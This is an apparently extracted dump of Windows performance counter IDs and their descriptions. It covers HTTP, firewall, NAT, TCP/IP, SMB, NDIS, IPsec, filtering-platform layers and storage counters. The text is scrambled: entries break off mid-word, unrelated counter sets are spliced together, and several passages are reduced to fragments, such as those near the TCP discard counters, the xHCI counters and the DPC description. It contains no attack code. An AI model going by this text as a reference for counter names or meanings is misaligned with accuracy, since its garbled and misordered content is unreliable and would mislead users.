Set of HTTP service counters 12463 Total number of URIs currently cached by the kernel 12465 Total number of URIs added to the kernel since service startup 12467 Total number of successful lookups in the kernel URI cache 12469 Total number of unsuccessful lookups in the kernel URI cache 12471 Total number of kernel URI cache flushes (complete or partial) since service startup 12473 Total number of URIs that have been removed from the kernel URI cache since service startup 12475 Total number of TLS handshake attempts since service startup 12477 Rate at which TLS handshakes are being attempted 12479 Total number of TLS handshake failures since service startup 12481 Rate at which TLS handshakes are failing 2481 Displays performance counters for PowerShell Workflow engine. 2483 Displays the number of terminated workflow jobs that failed since the start of PowerShell Workflow engine. This counter displays the last observed value. 2485 Displays the number of workflow jobs that have failed. This counter is not an average over time; it displays the difference between the values observed in the last two samples divided by the duration of the sample interval. 2487 Displays the number of workflow jobs that got resumed (following suspension) since the start of PowerShell Workflow engine. This counter displays the last observed value. 2489 Displays the number of workflow jobs that have been resumed. This counter is not an average over time; it displays the difference between the values observed in the last two samples divided by the duration of the sample interval. 2491 Displays the number of jobs that are currently being serviced. This counter displays the last observed value. 2493 Displays the number of workflow jobs that are being serviced. This counter is not an average over time; it displays the difference between the values observed in the last two samples divided by the duration of the sample interval. 2495 Displays the number of terminated workflow jobs that were stopped since the start of Powerers that apply to the number of rules in each firewall store on the system. 14025 Number of Firewall Rules in Group Policy RSoP Store 14027 Number of Firewall Rules in Local Store 14029 Number of Firewall Rules in Dynamic Store 14031 Number of Firewall Rules in GPO Store 14033 Number of Firewall Rules in Defaults Store 14035 Number of Firewall Rules in WSH Static Store 14037 Number of Firewall Rules in WSH Configurable Store 14039 Number of Firewall Rules in Interface Isolation Store 14041 Number of Firewall Rules in Interface Isolation Dynamic Store 14043 Number of Firewall Rules in App Isolation Store 14045 Number of Firewall Rules in MDM Store 14047 Number of Firewall Rules in Tenant Restrictions Store 14049 Number of Firewall Rules in All Stores 14015 RulesByProfile is the set of counters that apply to the number of rules in for each firewall profile on the system (public, private, domain). 14017 Number of Firewall Rules in Public Profile 14019 Number of Firewall Rules in Private Profile 14021 Number of Firewall Rules in Domain Profile 12503 Set of request queue counters 12505 Number of requests in the queue 12507 Age of the oldest request in the queue 12509 Rate at which requests are arriving in the queue 12511 Rate at which requests are rejected from the queue 12513 Total number of requests rejected from the queue 12515 Rate of cache hits for the queue 12521 Number of pending receive requests in the queue 12483 Set of URL Group-specific counters 12485 Rate of sending data by HTTP service for this site 12487 Rate of received data by HTTP service for this site 12489 Rate of total bytes transferred (sent and received) by HTTP service for this site 12491 Number of current connections established for this site 12493 Maximum number of concurrent connections established for this site 12495 Rate at which connection attempts are being made for this site 12497 Rate at which GET method requests are made for this site 12499 Rate at which HEAD method requests are made for this site 12501 Total number of HTTP requests maber of UDP ports in use 7033 Number of UDP ports available 6953 WinNat TCP counter set measures network activity for network address translated TCP packets. 6955 Total number of TCP sessions. 6957 Total number of TCP bindings. 6959 Total number of TCP packets translated from internal to external. 6961 Total number of TCP packets translated from external to internal. 6963 Total number of TCP packets dropped due to absence of binding. 6965 Total number of TCP sessions timed out due to inactivity. 6995 WinNAT general counter set measures network activity for all network address translated packets. 6997 Number of new sessions established per second 6999 Total number of current sessions 7001 Number of packets translated per second from internal to external 7003 Total number of packets translated from internal to external 7005 Number of packets translated per second from external to internal 7007 Total number of packets translated from external to internal 7009 Number of packets dropped per second 7011 Total number of dropped packets 7013 Number of ICMP error packets dropped per second due to inner IP packet parsing or validation failure 7015 Total number of ICMP error packets dropped due to inner IP packet parsing or validation failure 7017 Number of packets hairpinned per second between different routing domains 7019 Total number of packets hairpinned between different routing domains 7021 Number of packets hairpinned per second back to originating routing domains 7023 Total number of packets hairpinned back to originating routing domains 6981 WinNat ICMP counter set measures network activity for network address translated ICMP packets. 6983 Total number of ICMP sessions. 6985 Total number of ICMP bindings. 6987 Total number of ICMP packets translated from internal to external. 6989 Total number of ICMP packets translated from external to internal. 6991 Total number of ICMP packets dropped due to absence of binding. 6993 Total number of ICMP sessions timed out due to inactivity. 14023 RulesByStore is the set of countvalid checksum 12569 TCP retransmission timeouts 12571 Total number of RSC segments forwarded via LSO 12573 Total number of RSC segments forwarded via software segmentation 12575 Total number of RSC segments forwarded via software segmentation and checksum 12577 Total number of RSC segment forwarding failures during software segmentation 12579 Total number of UDP datagrams created via software segmentation 12581 Rate of coalesced UDP datagrams received via UDP URO 12583 Rate of bytes received via UDP URO 12585 Rate of coalesced TCP datagrams received via TCP RSC 12587 Rate of bytes received via TCP RSC 12589 Total number of URO segments forwarded via software segmentation 12591 Total number of URO segments forwarded via software segmentation and checksum 12593 Total number of URO segment forwarding failures during software segmentation 12595 Total number of TCP loss recovery episodes 12597 Total number of successful TCP loss recovery episodes 12599 Total number of bytes of lost retransmits retransmitted 12601 Total number of URO NBLs segmented for raw sockets 12603 Total number of URO NBL segmentation failures for raw sockets 12605 Total number of SACK blocks dropped due to DoS protection 12607 The number of TCP RX fast path batches inspected 12609 The number of TCP RX fast path batches not inspected 12611 The number of USO packets segmented in software 12613 The number of USO packets segmented and checksummed in software 6967 WinNat UDP counter set measures network activity for network address translated UDP packets. 6969 Total number of UDP sessions. 6971 Total number of UDP bindings. 6973 Total number of UDP packets translated from internal to external. 6975 Total number of UDP packets translated from external to internal. 6977 Total number of UDP packets dropped due to absence of binding. 6979 Total number of UDP sessions timed out due to inactivity. 7025 WinNAT instance counterset provides resource usage information per NAT instance. 7027 Number of TCP ports in use 7029 Number of TCP ports available 7031 Numlow-resource flag 12533 Total number of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer without prevalidation 12535 Rate of inbound NetBufferLists indicated from IPv4 Framing Layer to IPv4 Network Layer without prevalidation 12537 Total number of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12539 Rate of inbound NetBufferLists indicated from IPv6 Framing Layer to IPv6 Network Layer without prevalidation 12541 Total number of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12543 Rate of inbound NetBufferLists indicated to IPv4 Network Layer as prevalidated but treated as non-prevalidated consequently 12545 Total number of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12547 Rate of inbound NetBufferLists indicated to IPv6 Network Layer as prevalidated but treated as non-prevalidated consequently 12549 Total number of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12551 Rate of outbound NetBufferLists that could not be processed via IPv4 Framing Layer fast path 12553 Total number of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12555 Rate of outbound NetBufferLists that could not be processed via IPv6 Framing Layer fast path 12557 Total number of inbound TCP segments that could not be processed via fast path 12559 Rate of inbound TCP segments that could not be processed via fast path 12561 Total number of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12563 Rate of TCP connect requests which were established over normal loopback path despite loopback fast path was requested 12565 Total number of TCP connect or TCP/UDP/RAW send requests denied by the TCPIP stack because the outbound network interface was in low-power mode 12567 TCP segments dropped due to in state 12705 Packets discarded due to receive inspection 12707 Packets discarded due to invalid ACK 12709 Packets discarded due to expected SYN 12711 Packets discarded due to RST 12713 Packets discarded due to SYN received SYN 12715 Packets discarded due to simultaneous connect 12717 Packets discarded due to PAWS failed 12719 Packets discarded due to land attack 12721 Packets discarded due to missed reset 12723 Packets discarded due to outside window 12725 Packets discarded due to duplicate segment 12727 Packets discarded due to closed window 12729 Packets discarded due to TCB removed 12731 Packets discarded due to FIN wait 2 12733 Packets discarded due to reassembly conflict 12735 Packets discarded due to FIN received 12737 Packets discarded due to listener invalid flags 12739 Packets discarded due to urgent delivery allocation failure 12741 Packets discarded due to TCB not in TCB table 12743 Packets discarded due to wait TCB re side w YN a ther o accept redirection 12615 This coun set h pr boun icat pend scing iter queue. 5969 Number of entries in the Delete Queue. 5971 Number of entries in the allocator cache. 5973 Entries inserted into the allocator cache. 5975 Entries deleted from the allocator cache. 5977 Allocator cache insertion collision count 5979 Allocator cache purge count 5981 Average number of regions examined per allocation. 5985 Maximum number of regions examined per allocation 5987 Total time needed to process tree updates in 100 ns 5989 Total time needed to process checkpoints while holding exclusive locks checkpoints in 100 ns 5991 Total time needed to process checkpoints as tree updates in 100 ns 5993 The number of metadata cluster allocations from the fast tier per second. 5941 ReFS dedup database performance counters. 5943 Number of inserts to SHA->LCN table/second 5945 Number of clusters deduplicated/second 5947 Number of clusters processed/second 5845 Counters for measuring the performance of Netlogon. 5847 Number of thread currently waiting to acquire the semaphore. 5849 Number of thread currently holding the semaphore. 5851 The total number of times the semaphore has been acquired over the lifetime of the Secure Channel connection (or since system boot for _Total). 5853 The total number of times a thread has timed out waiting for the semaphore over the lifetime of the Secure Channel connection (or since system boot for _Total). 5855 The average amount of time the semaphore is held over the last sample. 5857 The base value used to calculate the average semaphore hold time. 5859 How long, in milliseconds, the last successful NTLM authentication took. 5861 The base value used to calculate Last Authentication Time. 5919 Counters for monitoring DC locator ping performance on domain controllers. 5921 Number of UDP LDAP pings currently being processed. 5923 Number of UDP LDAP pings received per second. 5925 Average latency of UDP LDAP ping processing times in seconds. 5927 The base value used to calculate average UDP LDAP ping latency. 5929 Number of mailslot pings currently being processed. 5931 Numbe4681 The average number of seconds that elapse between the time at which a read or write request to this session is received and the time at which the SMB File Server processes the request. 4685 The average number of bytes per read or write request. 4689 The average number of bytes per read request. 4693 The average number of bytes per write request. 4697 The average number of read requests that were queued in this session. 4699 The average number of write requests that were queued in this session. 4701 The average number of read and write requests that were queued in this session. 4703 The rate, in seconds, at which data is being written or read in this session. 4705 The rate, in seconds, at which read or write requests are received in this session. 4707 The current number of read or write requests outstanding in this session. 4709 The SMB Server performance counters measure file server activity for SMB protocol versions 2 and higher 4711 Read Bytes/sec is the rate at which data is being read to satisfy SMB read requests. 4713 Read Requests/sec is the rate at which SMB read requests are being received. 4715 Write Bytes/sec is the rate at which data is being written to satisfy SMB write requests. 4717 Write Requests/sec is the rate at which SMB write requests are being received. 4719 Send Bytes/sec is the rate at which data is being transmitted on the network. This value includes application data as well as SMB protocol data (such as packet headers). 4721 Receive Bytes/sec is the rate at which data is being received from the network. This value includes application data as well as SMB protocol data (such as packet headers). 5949 ReFS dedup Minstore performance counters. 5951 The total number of cluster allocations per second. 5953 Total time needed to process tree updates while holding exclusive locks in 100 ns 5957 Total time needed to process checkpoints in 100 ns 5961 Number of tree updates per second 5963 Number of checkpoints per second 5965 Number of dirty metadata pages. 5967 Number of bindables in lazy wr requests processed/sec in this session. 4639 The average number of seconds that elapse between the time at which a write request in this session is received and the time at which the SMB File Server sends the corresponding response. 4643 The rate, in seconds, at which data is being written in this session. 4645 Read requests processed/sec in this session. 4647 The average number of seconds that elapse between the time at which a read request in this session is received and the time at which the SMB File Server sends the corresponding response. 4651 The rate, in seconds, at which data is being read in this session. 4653 The number of files that have been opened by the SMB File Server on behalf of its clients in this session since the server started. 4655 The rate, in seconds, at which files are being opened in this session. 4657 The number of durable file handles that are currently open in this session 4659 The number of durable opens in this session that have been recovered after a temporary network disconnect since the SMB File Server started. 4661 The number of durable opens in this session that could not be recovered after a temporary network disconnect since the SMB File Server Started. 4663 The percentage of total opens for which clients requested resiliency. 4667 The number of resilient opens in this session that have been recovered after a temporary network disconnect since the SMB File Server started. 4669 The number of resilient opens in this session that could not be recovered after a temporary network disconnect since the SMB File Server Started. 4671 The percentage of total opens for which clients requested persistency. 4675 The number of persistent opens in this session that have been recovered after a temporary network disconnect since the SMB File Server started. 4677 The number of persistent opens in this session that could not be recovered after a temporary network disconnect since the SMB File Server Started. 4679 The rate, in seconds, at which metadata requests are being sent in this session. rtual processor. 14791 The total number of InvVpid Single Address instructions emulated on the virtual processor. 14793 The total number of VMLOAD instructions emulated on the virtual processor. 14795 The total number of VMSAVE instructions emulated on the virtual processor. 14797 The total number of STGI/CLGI instructions emulated on the virtual processor. 14799 The total number of RDPMC instructions executed by guest code on the virtual processor. 14801 The total number of intercepted accesses to vPMU related MSRs on this virtual processor. 14803 The total number of intercepted accesses to LBR related MSRs on this virtual processor. 14805 The total number of intercepted accesses to IPT related MSRs on this virtual processor. 14807 The total number of performance monitoring interrupts forwarded to this virtual processor. 14809 The total number of VTL1 dispatches on the virtual processor. 14811 The total number of VTL2 dispatches on the virtual processor. 14813 The total number of bus locks acquired by guest code on the virtual processor. 6513 The Pacer Flow performance counter set consists of flow statistics from the packet scheduler. 6515 The number of packets dropped by the packet scheduler. 6517 The number of packets which got scheduled in some way (rather than just being directly sent to the underlying miniport). 6519 The number of packets from this flow which have been sent. 6521 The number of bytes which got scheduled in some way (rather than just being directly sent to the underlying miniport). 6523 The number of bytes from this flow which have been sent. 6525 The number of bytes per second from this flow which have been sent. 6527 The number of bytes per second from this flow which have been scheduled. 6529 The number of packets per second from this flow which have been sent. 6531 The number of packets per second from this flow which have been scheduled. 6533 The number of packets dropped by the packet scheduler from this flow per second. 6535 The number of packets that have entered the packet scheduler open on this share 4541 The number of durable opens on this share that have been recovered after a temporary network disconnect since the SMB File Server started. 4543 The number of durable opens on this share that could not be recovered after a temporary network disconnect since the SMB File Server Started. 4545 The percentage of total opens for which clients requested resiliency. 4549 The number of resilient opens on this share that have been recovered after a temporary network disconnect since the SMB File Server started. 4551 The number of resilient opens on this share that could not be recovered after a temporary network disconnect since the SMB File Server Started. 4553 The percentage of total handles for which clients requested persistency. 4557 The number of persistent opens on this share that have been recovered after a temporary network disconnect since the SMB File Server started. 4559 The number of persistent opens on this share that could not be recovered after a temporary network disconnect since the SMB File Server Started. 4561 The rate, in seconds, at which metadata requests are being sent to this share. 4563 The average number of seconds that elapse between the time at which a read or write request to this share is received and the time at which the SMB File Server processes the request. 4567 The average number of bytes per read or write request. 4571 The average number of bytes per read request. 4575 The average number of bytes per write request. 4579 The average number of read requests that were queued for this share. 4581 The average number of write requests that were queued for this share. 4583 The average number of read and write requests that were queued for this share. 4585 The rate, in seconds, at which data is being written to or read from this share. 4587 The rate, in seconds, at which read or write requests are received for this share. 4589 The current number of read or write requests outstanding on this share. 4591 Write requests processed/sec related to this share through RDMA 4593rt 2609 Total number of bytes received since connection start 4499 This counter set displays information about SMB server shares that are shared using SMB protocol version 2 or higher. 4501 The rate at which bytes are being received for requests related to this share. This value includes application data as well as SMB protocol data (such as packet headers). 4503 The rate at which requests are being received for this share 4505 The current number of tree connects to this share 4507 The number of file handles that are currently open in this share 4509 The rate, in seconds, at which bytes are being sent from the SMB File Server related to this share to its clients. This value includes both data bytes and protocol bytes. 4511 The sum of Sent Bytes/sec and Received Bytes/sec for this share. 4513 The number of requests related to this share that are waiting to be processed by the SMB File Server. 4515 The average number of seconds that elapse between the time at which the SMB File Server receives a request for this share and the time at which the SMB File Server sends the corresponding response. 4519 Write reque er s rior per seco an interface. 7873 Interrupt DPC Latency Cycles/sec is the amount of time, in cycles per second, between an interrupt and its DPC. 7971 NDIS PacketDirect queue depth counter set. 7973 Average queue depth over the last measurement interval. 7975 Average queue depth over the last measurement interval, shown as a percentage of the queue size. 7919 NDIS PacketDirect receive counter set. 7921 Total number of packets received. 7923 Rate of packets received. 7925 Total number of bytes received. 7927 Rate of bytes received. 7929 Total number of packets dropped. 7931 Rate of packets dropped. 7875 The RDMA Activity counter set measures RDMA activity on a NetworkDirect-capable network interface card. 7877 Number of outbound RDMA connections established successfully 7879 Number of inbound RDMA connections established successfully 7881 Number of inbound and outbound failed RDMA connection attempts 7883 Number of successfully established RDMA connections on which an error occurred before being disconnected by local or remote client 7885 Number of active RDMA connections 7887 Number of RDMA completion queues that went into error state 7889 Bytes/sec received at layer 2 for all inbound RDMA traffic 7891 Bytes/sec sent at layer 2 for all outbound RDMA traffic 7893 Frames/sec received at layer 2 for all inbound RDMA traffic 7895 Frames/sec sent at layer 2 for all outbound RDMA traffic 7943 NDIS PacketDirect execution context utilization counter set. 7945 Logical processor number of the EC thread. 7947 Accumulated number of polling iterations. 7949 Rate of polling iterations. 7951 Accumulated number of empty polling iterations. 7953 Rate of empty polling iterations. 7957 The percentage of empty EC iterations out of total EC iterations. 7961 Time % EC thread was suspended. 7963 Time % EC thread is executing empty polling iterations. 7965 Time % EC thread is actively processing traffic. 7967 Number of transmit queues in the execution context. 7969 Number of receive queues in the execution context. 2881 The FileSystem Disk Activity p packets per second, at which NDIS received packets that were subjected to coalescing by a network interface before interrupting the host CPU. 7847 The Per Processor Network Activity Cycles counter set measures processor cycles due to network activity of an interface on each processor. 7849 Interrupt DPC Cycles/sec is the average rate, in cycles per second, at which NDIS processed a Deferred Procedure Call (DPC) for an interface. 7851 Interrupt Cycles/sec is the average rate, in cycles per second, at which NDIS processed hardware interrupts for an interface. 7853 NDIS Receive Indication Cycles/sec is the average rate, in cycles per second, at which NDIS processed a receive indication call from an interface. 7855 Stack Receive Indication Cycles/sec is the average rate, in cycles per second, at which the stack processed a receive indication call from an interface. 7857 NDIS Return Packet Cycles/sec is the average rate, in cycles per second, at which NDIS processed returning received packets to an interface. 7859 Miniport Return Packet Cycles/sec is the average rate, in cycles per second, at which an interface processed returning received packets. 7861 NDIS Send Cycles/sec is the average rate, in cycles per second, at which NDIS processed transmit requests from the stack for an interface. 7863 Miniport Send Cycles/sec is the average rate, in cycles per second, at which an interface processed transmitting packets. 7865 NDIS Send Complete Cycles/sec is the average rate, in cycles per second, at which NDIS processed transmit-complete notifications from an interface. 7867 Build Scatter Gather Cycles/sec is the average rate, in cycles per second, at which NDIS processed building Scatter Gather DMA lists for an interface. 7869 Miniport RSS Indirection Table Change Cycles is the average rate, in cycles per second, at which an interface processed changing the RSS indirection table. 7871 Stack Send Complete Cycles/sec is the average rate, in cycles per second, at which the stack processed transmit-complete notifications fromon from an interface. 7821 Sent Packets/sec is the average rate, in packets per second, at which the stack requested a transmit on an interface. 7823 Passive Sent Packets/sec is the average rate, in packets per second, at which the stack requested a transmit on an interface while at PASSIVE_LEVEL. 7825 Sent Complete Packets/sec is the average rate, in packets per second, at which NDIS received a transmit-complete notification from an interface. 7827 Build Scatter Gather List Calls/sec is the average rate, in incidents per second, at which NDIS received a request from an interface to build a scatter gather DMA list. 7829 RSS Indirection Table Change Calls/sec is the average rate, in incidents per second, at which the stack submitted a request to change the RSS indirection table of an interface. 7831 Low Resource Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a receive indication call from an interface with low receive resources. 7833 Low Resource Received Packets/sec is the average rate, in packets per second, at which NDIS received packets from an interface with low receive resources. 7835 Tcp Offload Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a TCP offload receive indication call from a network interface. 7837 Tcp Offload Send Request Calls/sec is the average rate, in incidents per second, at which the TCP/IP protocol requested a TCP offload transmission on a network interface. 7839 Tcp Offload Receive bytes/sec is the average rate, in bytes per second, at which data was delivered by a network interface using the TCP offload receive indication call. 7841 Tcp Offload Send bytes/sec is the average rate, in bytes per second, at which data was delivered to a network interface using the TCP offload send request call. 7843 DPCs Deferred/sec is the average rate, in incidents per second, at which DPCs are deferred from executing immediately to avoid starving usermode threads. 7845 Packets Coalesced/sec is the average rate, in) measures the number of successful low-power transitions over the lifetime of the network interface card. The counter includes only transitions from the active high-power state to a low-power state. 7795 The Per Processor Network Interface Card Activity counter set measures network activity of a network interface card per processor. 7797 DPCs Queued/sec is the average rate, in incidents per second, at which NDIS queued a Deferred Procedure Call (DPC) for an interface. 7799 Interrupts/sec is the average rate, in incidents per second, at which NDIS received and serviced hardware interrupts for an interface. 7801 Receive Indications/sec is the average rate, in incidents per second, at which NDIS received a receive indication call from an interface. 7803 Return Packet Calls/sec is the average rate, in incidents per second, at which the stack returned received packets to an interface. 7805 Passive Return Packet Calls/sec is the average rate, in incidents per second, at which the stack returned received packets to an interface while at PASSIVE_LEVEL. 7807 Received Packets/sec is the average rate, in packets per second, at which NDIS received packets from an interface. 7809 Returned Packets/sec is the average rate, in packets per second, at which the stack returned received packets to an interface. 7811 Passive Returned Packets/sec is the average rate, in packets per second, at which the stack returned received packets to an interface while at PASSIVE_LEVEL. 7813 DPCs Queued on Other CPUs/sec is the average rate, in incidents per second, at which the miniport queued a DPC on one CPU from a different CPU. 7815 Send Request Calls/sec is the average rate, in incidents per second, at which the stack requested a transmit on an interface. 7817 Passive Send Request Calls/sec is the average rate, in incidents per second, at which the stack requested a transmit on an interface while at PASSIVE_LEVEL. 7819 Send Complete Calls/sec is the average rate, in incidents per second, at which NDIS received a transmit-complete notificatiout 5101 Consists of counters that measure aspects of a transferring of an xHCI controller. 5103 Number of transfers completed per second 5105 Number of failed transfers 5107 Bytes transferred per second 5109 Number of Isoch TDs completed per second 5111 Number of Isoch TD failures per second 5113 Total Number of Isoch Mis Service Error ev erru ents received 5091 at measure aspects of a Co uffer currently in use 5097 Number of times CommonBuffer allocations were done 5099 Number of times CommonBuffer was freed back to the DMA a lter counter set s tranL itted. 7917 Rate bytes tran/ 7897 Physical Network Interface Card vity a physical netwo tate mail of U d by DC is the rate of packets for which data could not be verified (for which the integrity hash verification failed) since the computer was last started. Increases in this counter might indicate an IPsec packet spoofing or modification attack, or packet corruption by network devices. 11463 Packets Not Decrypted is the number of packets that could not be decrypted since the computer was last started. A packet might not be decrypted if it fails a validation check. 11465 Packets Not Decrypted per Second is the rate of packets that could not be decrypted since the computer was last started. A packet might not be decrypted if it fails a validation check. 11467 SA Rekeys is the number of successful rekey operations for quick mode security associations since the computer was last started. 11469 Security Associations Added is the number of security associations added since the computer was last started. 11471 Packets That Failed ESP Validation is the number of packets received that failed ESP validation since the computer was last started. 11473 Packets That Failed ESP Validation per Second is the rate of packets received that failed ESP validation since the computer was last started. 11475 Packets That Failed UDP-ESP Validation is the number of packets received that failed UDP-ESP validation (used for NAT traversal) since the computer was last started. 11477 Packets That Failed UDP-ESP Validation per Second is the rate of packets received that failed UDP-ESP validation (used for NAT traversal) since the computer was last started. 11479 Packets Received Over Wrong SA is the number of packets received over the wrong security association since the computer was last started. 11481 Packets Received Over Wrong SA per Second is the rate of packets received over the wrong security association since the computer was last started. 11483 Plaintext Packets Received is the number of clear text packets received since the computer was last started. 11485 Plaintext Packets Received per Second is the rate of clear text packets received sincer Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11441 Bytes Received in Tunnel Mode per Second is the rate of bytes received using tunnel mode. 11443 Bytes Sent in Tunnel Mode per Second is the rate of bytes sent using tunnel mode. 11445 Bytes Received in Transport Mode per Second is the rate of bytes received using transport mode. 11447 Bytes Sent in Transport Mode per Second is the rate of bytes sent using transport mode. 11449 Offloaded Security Associations is the number of active quick mode security associations offloaded to hardware. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11451 Offloaded Bytes Received per Second is the rate of bytes received using IPsec hardware offload. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11453 Offloaded Bytes Sent per Second is the rate of bytes sent using IPsec hardware offload. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11455 Packets That Failed Replay Detection is the number of packets that contained an invalid sequence number since the computer was last started. Increases in this counter might indicate a network problem or replay attack. 11457 Packets That Failed Replay Detection per Second is the rate of packets that contained an invalid sequence number since the computer was last started. Increases in this counter might indicate a network problem or replay attack. 11459 Packets Not Authenticated is the number of packets for which data could not be verified (for which the integrity hash verification failed) since the computer was last started. Increases in this counter might indicate an IPsec packet spoofing or modification attack, or packet corruption by network devices. 11461 Packets Not Authenticated per Second_CLOSURE_V4 11941 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 11943 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 11945 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 11947 FWPM_LAYER_ALE_BIND_REDIRECT_V4 11949 FWPM_LAYER_ALE_BIND_REDIRECT_V6 11951 FWPM_LAYER_STREAM_PACKET_V4 11953 FWPM_LAYER_STREAM_PACKET_V6 11955 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 11957 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 11959 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 11961 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 11963 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 11965 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 11967 FWPM_LAYER_INBOUND_TRANSPORT_FAST 11969 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 11971 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 11973 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 11975 FWPM_LAYER_INBOUND_RESERVED2 11977 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 11979 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 11981 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 11983 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 11985 FWPM_LAYER_IPSEC_KM_DEMUX_V4 11987 FWPM_LAYER_IPSEC_KM_DEMUX_V6 11989 FWPM_LAYER_IPSEC_V4 11991 FWPM_LAYER_IPSEC_V6 11993 FWPM_LAYER_IKEEXT_V4 11995 FWPM_LAYER_IKEEXT_V6 11997 FWPM_LAYER_RPC_UM 11999 FWPM_LAYER_RPC_EPMAP 12001 FWPM_LAYER_RPC_EP_ADD 12003 FWPM_LAYER_RPC_PROXY_CONN 12005 FWPM_LAYER_RPC_PROXY_IF 12007 FWPM_LAYER_KM_AUTHORIZATION 12009 Sum total of all classify layers 11431 IPsec Driver is the set of Internet Protocol security (IPsec) driver counters that apply to traffic over Internet Protocol version 4 and Internet Protocol version 6. 11433 Active Security Associations is the number of active quick mode security associations. 11435 Pending Security Associations is the number of pending quick mode security associations. 11437 Incorrect SPI packets is the number of packets for which the Security Parameter Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11439 Incorrect SPI packets per Second is the rate of packets for which the Security ParameteISCARD 11843 FWPM_LAYER_OUTBOUND_TRANSPORT_V4 11845 FWPM_LAYER_OUTBOUND_TRANSPORT_V4_DISCARD 11847 FWPM_LAYER_OUTBOUND_TRANSPORT_V6 11849 FWPM_LAYER_OUTBOUND_TRANSPORT_V6_DISCARD 11851 FWPM_LAYER_STREAM_V4 11853 FWPM_LAYER_STREAM_V4_DISCARD 11855 FWPM_LAYER_STREAM_V6 11857 FWPM_LAYER_STREAM_V6_DISCARD 11859 FWPM_LAYER_DATAGRAM_DATA_V4 11861 FWPM_LAYER_DATAGRAM_DATA_V4_DISCARD 11863 FWPM_LAYER_DATAGRAM_DATA_V6 11865 FWPM_LAYER_DATAGRAM_DATA_V6_DISCARD 11867 FWPM_LAYER_INBOUND_ICMP_ERROR_V4 11869 FWPM_LAYER_INBOUND_ICMP_ERROR_V4_DISCARD 11871 FWPM_LAYER_INBOUND_ICMP_ERROR_V6 11873 FWPM_LAYER_INBOUND_ICMP_ERROR_V6_DISCARD 11875 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4 11877 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4_DISCARD 11879 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6 11881 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6_DISCARD 11883 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4 11885 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4_DISCARD 11887 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6 11889 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD FWPM_LAYER_ALE_ N_V4 ISCA 1895 FWPM_LAYER_ALE_/ WPM_LAYER_ALE_AUTH_LISTEN_ ACCEPT_V6 ISCARDL 1907 FWPM_LAYER_ALE_AUTH_CONNECT 11909 FWPM/ AYER_ALE_AUTH_CONNECT_V4_DISCARD FWPM E_RE edure calls (DPC whic an indirect cato nerate i rupts, such as the s disk drivers, data communication es, network interface cards, and y in e sy interrupts ery alues ob he perce e of ving and ser ng d s) d than sta DPC Time is a co ecut r spends receivi nterrupts, s normally pt t ileged m stem-pri o performance object consists of counters that show information about Storage Spaces IOs. 6917 The average number of ms per read from virtual disk 6919 The number of reads. 6921 The average number of ms per write to virtual disk 6923 The number of writes. 6925 The average number of ms per flush to virtual disk 6927 The number of flushes. 6929 The number of bytes read from the space per second. 6931 The number of bytes written to the space per second. 6809 The Storage Spaces Write Cache performance object consists of counters that show information about Storage Spaces write caches. 6811 The total number of checkpoint operations. 6813 The number of concurrent destage operations. 6815 The number of log advance operations. 6817 The amount of data in bytes residing in the cache. 6819 The percentage of data in bytes residing in the cache. 6821 The amount of reclaimable space in bytes in the cache. 6823 The percentage of reclaimable space in bytes in the cache. 6825 The amount of used space in bytes in the cache. 6827 The percentage of used space in bytes in the cache. 6829 The size in bytes of the cache. 6831 The number of bytes evicted from the cache per second. 6833 The number of destaged bytes evicted from the cache per second. 6835 The percentage of destage bytes evicted from the cache. 6837 The number of overwritten bytes evicted from the cache per second. 6839 The percentage of overwritten bytes evicted from the cache. 6841 The number of bytes read bypassing the cache per second. 6843 The percentage of bytes read bypassing the cache. 6845 The number of bytes read from the cache per second. 6847 The percentage of bytes read from the cache. 6849 The number of bytes written bypassing the cache per second. 6851 The percentage of bytes written bypassing the cache. 6853 The number of bytes written to the cache per second. 6855 The percentage of bytes written to the cache. 6857 The number of unaligned bytes written to the cache per second. 6859 The percentage of unaligned bytes written to the cache. 6861 The number of us is the number of main mode negotiations completed since IPsec was last started. 11643 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11645 Failed Main Mode Negotiations is the number of failed main mode negotiations since IPsec was last started. 11647 Failed Main Mode Negotiations per Second is the rate of failed main mode negotiations. 11649 Main Mode Negotiation 